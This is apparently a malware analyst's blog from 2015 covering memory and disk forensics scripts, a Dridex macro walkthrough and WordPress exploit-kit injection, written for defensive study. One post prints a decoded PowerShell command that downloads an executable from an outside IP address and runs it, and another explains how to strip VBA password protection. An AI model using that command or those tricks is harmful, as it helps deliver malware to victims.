Monday, August 24, 2015

Another quick time saver script

Now that I've started using yara signature scanning in my memory forensics, I've found out that anti-virus processes come with an absurd number of false positives (makes sense, as they probably contain the same or similar signatures that yara is looking for). So, when I run the yara module, I cut out the offending pids with a whitelist approach. So, after about the third time I manually entered a command like the below

cat pslist.txt | awk {'print $3'} | grep -vi "pid1\|pid2\|pid3\|" | tr "\n" ", "

to then copy paste the 3-5 lines of pids into the command line (making a big ugly mess,) I decided it was high time to make things a little simpler (and cleaner).

I started out writing a script that prompted me for the pids I wanted to exclude, which would then just dump the entire mess into the command line, for me to still then copy/paste into the volatility command. Saves me a bit of typing, but wasn't quite as clean as I wanted. So, I figured it was high time I learn how to use options in bash. This is a simple but functional script so that instead of pasting a zillion pids into volatility's -p option, I can do something cleaner like

volcommandstuff -p $(getpid -p "pid1 pid2 pid3") and it'll dump the edited list in for me. I'm kind of proud of this one, probably for no good reason, but whatever.

Here's the script

#!/bin/bash
#Script to pull all the PIDs from volatility pslist output stored in a text file, excluding specified PIDs supplied by the user
#This script assumes you're in a directory with the appropriate pslist.txt output file
set -e

#check to see if an option was entered
if [ $OPTIND -eq 0 ]; then
    echo 'Useage: thisScript.sh -p "space seperated pid list"'
    exit 1
fi

while getopts "p:" userInput; do
    case "$userInput" in
        "p") read -a pids <<< "${OPTARG}"
            for item in ${pids[@]}; do
                string+="$item\|"
            done
            modString=(${string:0:${#string}-2})
            string=$(cat pslist.txt | awk {'print $3'} | tail -n +3 | grep -vi "$modString" | tr "\n" ",")
            modString=(${string:0:${#string}-1})
        ;;
        *) echo 'Useage: getpid -p "space seperated pid list"'
        ;;
    esac
done

echo $modString

Thursday, August 13, 2015

The Macro enabled Doc, a deeper dive

With the potential threat of trying to come up with presentation material (still not sure I want to brave the stage,) I decided to try and make a macro document Dridex infection chain work locally (so as to not rely on URLs that don't live for a full 24 hours) and as a result ended up learning a lot more about the behind the scenes of the sample I was playing with.

First off, to step through the macro code, we'll need more than just oledump. The easiest way to step through a macro, is within Word's own developer tools. However, most threat actors password protect their macros (big shock, eh?) Fortunately, there's a VERY easy workaround. Simply load the document in a hex editor of choice, search for DPB (or the bytes 44 50 42) and change it to DPX (or 44 50 58). Then open the document, load developer tools (alt+f11), click past the errors, right click on the project, select properties, project protection, then uncheck "Lock project for viewing" save, re-open, and viola!

The next step is enabling macros, otherwise Word won't let you step through it. This can get dicey, since enabling the macro will also run it when you open the document. I get around this by disabling the network adapter until the macro times out.

Now we get to the fun parts. Stepping through and modifying the code to allow local file use. Initially I was trying to use literal local files (e.g. "C:\Users\User\Desktop\malfile.txt"), but trying to rewrite the function that normally uses an object.response() call on an HTTP request turned out to be a Royal pain. I pretty much had it, and realized my error, but then after sleeping on it, I came up with a much more elegant solution. Host the files on a different VM with python -m SimpleHTTPServer, then modify the macro code to simply call those URLs. Works like a charm!

So, as we step through, there's a lot of junk, and random functions and variable assignments that serve no purpose except to make things look confusing and possibly change the signature of the file. The first important part to look at (in this sample) is where the first URL gets set.












As we can see in the code above, I've already modified it to use the text file hosted on my local machine (although I forgot the port :8000). Originally it set PBIn = STT1 + CDDD + TSTS, which from the above code is pretty easy to see what it's doing.




The next part of code to edit, is where it sets the URL for the second file pull. This file (rara.txt) simply contains a dropbox link that downloads an executable file. I had already pulled this file down, and so set the link of rara.txt to be "http://172.16.2.138:8000/ose08.exe" instead of the dropbox link.

Now, in this sample there are some Module2.Crispy(1) calls which are nothing but delayed time wasters, if you're stepping through the code, you can just comment them out with a single tick.

There comes a function that simply parses out the text of a variable (which was set to the text of the first file we downloaded, the 7777etc.txt file), set a breakpoint at the first line after the loop, and hit continue. It's splitting up the text file into two separate files, a .vbs and .bat script. The .vbs script is responsible for using the link found in rara.txt to download the executable, and the .bat executes it and does some cleanup, removing the scripts from disk. The function that calls them passes the file path of the script file to Shell(filepath, 0).

Lastly it runs some junky code that basically hangs Word. Why it does this, I'm not entirely sure, but I suppose it's already done its job.

There's also this interesting "hidden" white text in the body of the document, but near as I can tell it serves no purpose. Perhaps the .exe uses it at some point for unpacking or something. I'll try reversing the .exe some more later.

Monday, August 3, 2015

A word of warning (WordPress and plugins)

To preface, through some various info sharing lists, I get to see the constantly evolving exploit kit landing pages. Quite often the link structures change, and even more frequently the referring sites change. The scary part? Every last one of those referring pages were exploited in some fashion. Many of them likely in an automated fashion through some kind of scripted scanner/exploit module.

The event that prompted me to write this, was an AV hit off of a JS/Redir from a page that shall remain unnamed. I kind of figured it was an EK (exploit kit, ie Nuclear or Angler), but I almost never see these in my cyber-travels, so I just had to go poking around. So, I fire up Wireshark, ZAP, Virtualbox, and start going for a stroll down malware lane. Two things immediately catch my attention: there's a comment in the page response about "This site is optimized with the Yoast WordPress SEO plugin v2.2.1", and a nasty little iframe referencing hxxp://recoltentadelphiamcld2.discounthillsdalefurniture.com/civis/viewtopic.php?t=31w&f=lwmxs.o70b8&. For those in the know, viewtopic.php is a super common URI for the Angler exploit kit. A correspondent, when presented with the above link (but not the information about Yoast,) his first statement included an assumption that the site was running WordPress or Joomla. Why? Because they're notoriously insecure, particularly when it comes to plugins.

WordPress is nice because it's open source, and is actually supported well enough that WordPress in and of itself isn't TOO dangerous to run, if you keep it up to date, but the myriad of plugins make for a pretty diverse attack footprint. The more you throw on there to make managing a website easier, the more potential holes you open up, and since this tends to be web-facing, rather than a private network, the entire world can see/scan/poke around your site. I would highly suggest making your employee's lives difficult, and make them go through the web developer for content updates. Or maybe hire someone specifically who is half way between web developer and business unit to handle content updates. Lastly, if you DO insist on using WordPress (believe me, I am sympathetic to resource restrictions,) get your site tested properly. Hire a firm to do a vulnerability assessment. It'll serve you better than having to deal with the mess of infecting your clients/visitors, getting your webpage blocked as a malware site, and potentially having to rebuild your website to make sure it doesn't happen again in the future.

The site www.wordpressexploit.com has a pretty significant list of WordPress exploits (including a couple stored XSS vulns in SEO, which is probably how the above iframe was injected). This site is a good reference to check against your versions of WordPress and plugins to see if there are any known vulnerabilities.

Don't just surf safe, build safe, for those of you who are builders. The internet being cobbled together with duct tape and bubble gum (from a coding standpoint) does not help the current state of information security affairs.

Monday, June 15, 2015

Disk forensics

Hard disk forensics are not my forte... I've been pretty spoiled with memory forensics, but what about when someone hands you a tower and wants you to figure out what a miscreant may have done? Well... You've gotta fall back to good ol' hard disc forensics. This is going to be a collection of useful links and steps that helped me through the process.

First off, of course you want to create a bit by bit copy of the harddrive, to "preserve evidence." Even if you're not planning to build a case, and have no need of forensically sound evidence, it's a good habit to get into. I have a StarTech dock that will duplicate disks, but you can use a dd in Linux as well, provided you have enough free hard drive space to house the source drive.

Where to from there? I found this site:
http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
that provides a good list of places on the drive to go poking around for potentially useful information. Depending on how much you know about what you're looking for, some may stick out as more useful than others.

I tend to do most of my analysis on a Linux machine, which can make some of those tasks a little interesting. I ended up just copying the ntuser.dat file (HKCU registry hive) to a Windows 7 virtual machine so that I could load it up in regedit. If there's a slick tool for viewing Windows registries within the Linux kernel, I'd love to hear about them. A quick/lazy google didn't turn anything up ;)

Another useful little toy for disk forensics is creating a timeline. The output from this is insanely verbose, however, so unless you have a pretty good idea of what kind of time frame you're looking for, just browsing it hoping to stumble across something is a waste of time. You can do this one of two ways...
Simply run fls -l -p -r [sourcedrive] > output.file
or you can do this (the method I used to use, output ends up formatted slightly differently)
fls -r -m "[mountpoint]" [sourcedrive] > fls-body.file
mactime -b fls-body.file -d > mactimeout.csv

autopsy can help too, but mostly I find that the most useful for deleted files. I haven't tried to learn the sleuthkit cli way of browsing deleted files yet.

Through this (although unrelated to the drive I was looking at), I learned about an interesting little quirk of the NTFS file system that I had not heard about before. It's called Alternate Data Streams (ADS.) These little suckers are the ultimate in data hiding, and I'm surprised more modern malware doesn't try to use this. I'll post some links about them below, but basically it's metadata for the file that cannot be seen by any conventional means. And you can store ANYTHING there. Zip file, exe, movies, 80 gigs of junk data, you name it, and windows explorer will not indicate that it exists. You could store an entire library of hidden files in the metadata for a single file (or directory, or mount point.) The only potential problem, is that if that file/folder gets deleted, all the hidden data is lost as well.

There's a pretty good practical guide to them here:
www.irongeek.com/i.php?page=security/altds
And if you have powershell 3.0, they become easier to read/manipulate, there's a guide about that here:
www.powertheshell.com/ntfsstreams/

Thursday, May 7, 2015

Another horribly inelegant script, but one I also definitely don't want to have to rewrite (took a lot more trial and error than it should have.) A little specific to my environment, and I'd like to find a better tool to leverage over Redline for this style of dump, but... For now this works and will save me a fair bit of time =)

#!/bin/bash
set -e

#Script to copy over the necessary files and take a memory dump from a target computer

if [ $# -ne 2 ]
then
        echo "Useage: memorydump //host destinationFileName"
else
        #This mounts the necessary folders
        read -s -p "Please enter your AD password: " pass
        echo
        echo "Mounting drives..."

        if mountpoint -q /mount/cshare
        then
                umount /mount/cshare
        fi
        mount -t cifs -o "user=username,password=$pass" "$1/C$" /mount/cshare #hardcoded in my username
       
        #Copy over the necessary files
        echo "Copying the Redline folder to target..."
        cp -r /root/misc/Redline /mount/cshare/Temp

        #Execute the script
        echo "Executing script..."
        winexe -U "domain/username%$pass" $1 'cmd.exe /c C:\Temp\Redline\RunRedlineAudit.bat' #hardcoded my domain and username in on this one also
        sleep 5

        #Dynamicallay assign the folder and files created to move once completed
        dir=$(ls -A /mount/cshare/Temp/Redline/Sessions/AnalysisSession1/Audits)
        dir+="/"$(ls -A /mount/cshare/Temp/Redline/Sessions/AnalysisSession1/Audits/$dir)
        file=$(ls -A /mount/cshare/Temp/Redline/Sessions/AnalysisSession1/Audits/$dir | grep w32memory-ac | grep -v issues)

        sleep 3m #Was trying to do this dynamically when the file was done, but it appears impossible over a cifs share. 3 minutes is a sufficient sleep time for it to finish.

        echo "Copying memory image to /root/ramdumps/$2, this may take a while..."
        if [ ! -d /root/randumps/$(echo $2 | awk -F "-" {'print $1'}) ] #This assumes the file names I use, username-mm-dd-yy.memdump
        then
                mkdir /root/ramdumps/$(echo $2 | awk -F "-" {'print $1'})
        fi
        cp /mount/cshare/Temp/Redline/Sessions/AnalysisSession1/Audits/$dir/$file /root/ramdumps/$(echo $2 | awk -F "-" {'print $1'})/$2

        #Unmount the drives now that they're no longer in use
        echo "Dismounting the network drives..."
        umount /mount/cshare
fi

Wednesday, April 29, 2015

Minor update to my memscan script

I've been wanting to post some analyses here, but haven't really had the time. In trying to solve a puzzle on an analysis, I was told how to do some string mapping in memory. Not very complicated, but there have been many times where I wished I knew which process contained a string. Well, now I can find out =) So now my memscan script looks like this (apologies for the awkward formatting, I blame blogger):

#!/bin/bash

#Simply runs a bunch of my most commonly used volatility plugins

if [ $# -lt 2 ]
then
    #I added the script to /usr/bin/memscan and gave it execute
    echo "Useage: memscan imagename profile"
else

    if [ ! -d dump ];
    then
        #The script doesn't use this folder, but I do ;)
        mkdir dump
    fi

    for plugin in pslist pstree psxview malfind hivelist dlllist
    do

        echo "Running $plugin"
        python /usr/share/volatility/vol.py -f $1 --profile=$2 $plugin > $plugin.txt
    done

        echo "Running autoruns"
        python /usr/share/volatility/vol.py --plugins=/usr/share/volatility/contrib/plugins/autoruns /usr/share/volatility/vol.py/contrib/plugins/autoruns-f $1 -- profile=$2 autoruns > autoruns.txt

        echo "Running mimikatz"
        python /usr/share/volatility/vol.py --plugins=/usr/share/volatility/contrib/plugins -f $1 --profile=$2 mimikatz > passwords.txt

    echo "Creating timeline"
    python /usr/share/volatility/vol.py -f $1 --profile=$2 mftparser --output=body --output-file=mftparser.txt
    mactime -b mftparser.txt -d -z UTC-6 > timeline.txt

    echo "Mapping strings"
    strings -a -td $1 > full_strings.txt
    strings -a -td -el $1 >> full_strings.txt # Second pass for unicode
    python /usr/share/volatility/vol.py -f $1 --profile=$2 strings -s full_strings.txt --output-file=mapped_strings.txt
fi

Thursday, April 2, 2015

Evolution of the macro enabled document (XML files and oledump-ception)

Looks like the miscreants have changed their tactics slightly, yet again.

I hope you're all familiar with the macro enabled document. If not, I analyzed one here: http://arvandor2.blogspot.com/2015/02/malware-analysis.html

They pretty much all followed the same typical pattern, almost to a T, for several months. Then they made a slight modification. At first it kind of mystified me, since while it made my job of analysis slightly more difficult, it should have made it more obvious even to the less technical of users that it was bad.

It made the analysis more difficult since it showed up as a straight XML file, not an OpenXML or any kind of Office doctype, so my automated tools (at the time,) wouldn't strip out the macros, and forced me to rely more on dynamic analysis. I'll discuss how that got fixed later...

So at first, all they did was change the file to an XML, with the macro embedded, and set <?mso-application progid="Word.Document"?> to make it launch word. Then it would show the "enable content" button as per usual, so on and so forth. You could easily see that it was macro enabled, however...


Then, a few weeks later we see this little oddity... No macro enabled, but there's an embedded object.



Interesting... So when we open this critter, we see this



Really? A .xls icon inside of a Word Document? That SHOULD be suspicious even to the more clueless click-happy users.

I was able to decode the base64 embedded in the XML file, but it just looked like junk to me... however...

The wonderfully awesome Didier Stevens at http://blog.didierstevens.com/ has built this insanely powerful OLE file analyzer in python, called oledump. I shared the sample with him, and he was able to determine that the junk from the base64 decoded stream was actually ZLIB encoded data (which he gathered by the x78 hex value near the beginning of the hexdump.) Once decoded, this proved to be yet another OLE object, which turned out to be the VBA code that is run when you double click on the icon.

Stevens then updated his oledump tool to handle this file. His tool is very slick in that you can pipe its output out to other commands, and it can also handle output piped into it. He did a little video on analyzing this XML sample here: https://www.youtube.com/watch?v=uaua4NogEyk

To sum it up, however, he works his way up to this neat little one line incantation to strip out the relevant IOC from the VBA code.

oledump -s A1 --decompress -d 078409755.doc | oledump -s 3 -e | pcregrep -o '".+"' | head -n 1 | tr -d '"' | base64 -d

Quick summary of the above command: You run oledump on the malicious .doc (XML) file, and it shows a single stream, A1. So you get info on, and eventually add the new --decompress switch to decompress the stream. You add the -d switch to dump it raw, and then pipe that into your second instance of oledump. Now it shows four streams, one of which is labeled Ole10Native. Hmmm, an ole object, eh? So you get info on it with the -i switch and it mentions some .vbs files. A vbs script, neat.

Swap out the -i switch for the -e switch and it dumps out the VB code just as if it were a normal macro enabled document. This code contains a base64 encoded string that looks like Base64Decode("codedtext"). The pcregrep command cuts out everything found between a pair of quotes, the head -n 1 takes the first line, since that's the only thing we're interested in, tr -d '"' deletes the quotes from the string, and base64 -d decodes it to regular text which finally reveals what the macro is trying to do.

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

Launch powershell, download a file from that ip called shake.exe, store it as that .cab file, then expand it to an .exe and run it. The .cab to .exe bypasses a certain protection, but what I can't remember off-hand. I'll look it up later ;)